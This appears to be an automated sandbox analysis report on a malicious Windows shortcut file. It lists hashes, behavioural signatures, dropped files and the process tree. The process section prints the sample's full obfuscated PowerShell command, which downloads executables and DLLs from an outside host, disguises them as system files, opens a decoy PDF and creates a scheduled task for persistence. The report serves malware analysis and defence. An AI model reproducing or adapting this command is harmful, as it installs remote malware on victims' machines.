Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
15/04/2026, 14:05
Static task
static1
Behavioral task
behavioral1
Sample
_045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk
Resource
win10v2004-20260130-en
Behavioral task
behavioral2
Sample
_045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk
Resource
win11-20260130-en
General
- Target _045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk
- Size 3KB
- Sample260415-rdykqagv3k
- SHA256 045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd
- MD5 dcde2aa7d290cf696c8070207577610e
- SHA1 5cf716dc70a0de1656b933c5ac2b1b56bae29f7f
- SHA512 b2f9019fdccc6456daa8554167c0cc2c8f0d364c0502f1743f14723b892c66087ac5dc0a25fc58128f1a9f69283c546cd49c29ca21ef9e99b01d55f10cd86f49
- TLSH T17A717B0427F60254F7B34B3EA8FFA25155767D5CFE319A9D02A0D1480CE5619E83AF2B
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4676 powershell.exe 13 4676 powershell.exe 25 4676 powershell.exe - Downloads MZ/PE file 4 IoCs
flow pid Process 25 4676 powershell.exe 25 4676 powershell.exe 25 4676 powershell.exe 25 4676 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation cmd.exe - Executes dropped EXE 2 IoCs
pid Process 960 SystemSettings.exe 5316 SystemSettings.EXE - Loads dropped DLL 2 IoCs
pid Process 960 SystemSettings.exe 5316 SystemSettings.EXE -
pid Process 4676 powershell.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 27 myexternalip.com 26 myexternalip.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SystemSettings.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SystemSettings.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5920 schtasks.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4676 powershell.exe 4676 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4676 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4408 wrote to memory of 4676 4408 cmd.exe 84 PID 4676 wrote to memory of 5920 4676 powershell.exe 94 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\_045d995dee9b3fba080415be55c932f245582c44d70243fc3fbf0174fd3495bd.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$a='https:';$b='C:\Users\Public';$d='psca-gop.org';iw''r $a//$d/AM/B1 -o $b\Report_2026.pdf;s''ap''s $b\Report_2026.pdf;iw''r $a//$d/AT/O0 -o $b\la;r''en $b\la $b\SystemSettings.exe;iw''r $a//$d/AS/Zm -o $b\le;r''en $b\le $b\SystemSettings.dll;iw''r $a//$d/AU/XQ -o $b\lx;r''en $b\lx $b\vcruntime140.dll;iw''r $a//$d/AQ/QK -o $b\ll;r''en $b\ll $b\msvcp140.dll;iw''r $a//$d/AR/EQ -o $b\lb;r''en $b\lb $b\readme.DAT;c''p''i $b\Report_2026.pdf -d .;&(g''cm sch*) /c''r''e''a''te /''S''c minute /''tn GoogleReport /t''r $b\SystemSettings /f;r''m *6.?n?;2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /Sc minute /tn GoogleReport /tr C:\Users\Public\SystemSettings /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:5920
-
-
-
C:\Users\Public\SystemSettings.exeC:\Users\Public\SystemSettings1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:960
-
C:\Users\Public\SystemSettings.EXEC:\Users\Public\SystemSettings.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5316
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3fnvkqwq.xm5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\SystemSettings.dll
- Size 85KB
- SHA256 607f36ac0cef9c4dcc39b28237db3ccbc254827de7ea3a35b09ddefa267f0e4c
- MD5 4806737a08b0932c9e854ae94b313c6f
- SHA1 b689b848321247d6b395d6710dd25c8344e2b38a
- SHA512 15460ad735414d6dc75be6d070a601b14940b17e9eeec13b34dbc199293acb50945083224903547c5be16766aa62e15af9cb7c4f6cb1e6531dc16c949eb03222
- SSDEEP 1536:cUGZF7ngyOKrDqx6s4AVFOfw/stf9LcDEWZSb1r0930MiYsu5w8:cLNtqeLcDE70cf0
- TLSH T13B8339C5FAC6AD97D9160735C9EB837D2238E6C886835B138D7876351A136C06ED331B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\SystemSettings.exe
- Size 89KB
- SHA256 5eeaadd9b07e42cb70bf82a4af01a090d80e47430d5bf82c3192325ddf94fc4b
- MD5 0fd2e7c15b056c3891ff22aa40efb8a3
- SHA1 186c433b538b92d17c174871928357a09214920f
- SHA512 07c208180aceaa0133a3ad84ef7a64df8d78acc79b9ed72495ea0c0dc9f8802869e29e4677bebe9a51d5eddcc4e0de546ac1557e6cd71e421f61cf1bc9ee115a
- SSDEEP 1536:KygY78T19fFO1omIcoKCE45nHQM7rcPUz:868XFO7Ictocs
- TLSH T1A6933AC2BF98FA01E5BA18303AB5C97D696BBE620F10C59F3513F75C1878B849D38616
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\readme.DAT
- Size 244KB
- SHA256 92d4e1eb8787d3a73adc8289f2f29edb868ee94fc03e50c99bd349721b4beafa
- MD5 a18543e2ae423b82f19ec9e39dfa6bc2
- SHA1 b09777670e63c47a291a19963e6ec87436351766
- SHA512 b807e72212c9af90face34cb57d9bb2a98f958670895c6c89fc9360fa26e787e487b9cd7a01b563b7d5b8a3f66fcaa6a43360f025afd340444ea00b7c0c22d6b
- SSDEEP 3072:zN23VkNYJ5YJnWlYH38NklxP7/BlxK2GUvzSW8duQSq0jfurC7yC8:zNScb8NYr3vFpjADC8
- TLSH T15A34137E3C611CA8B5FBF717C560EA9125DEB2EAB46ACC0594274E6053AC0B257C09F3
- MD5 SHA1 SHA512 SSDEEP TLSH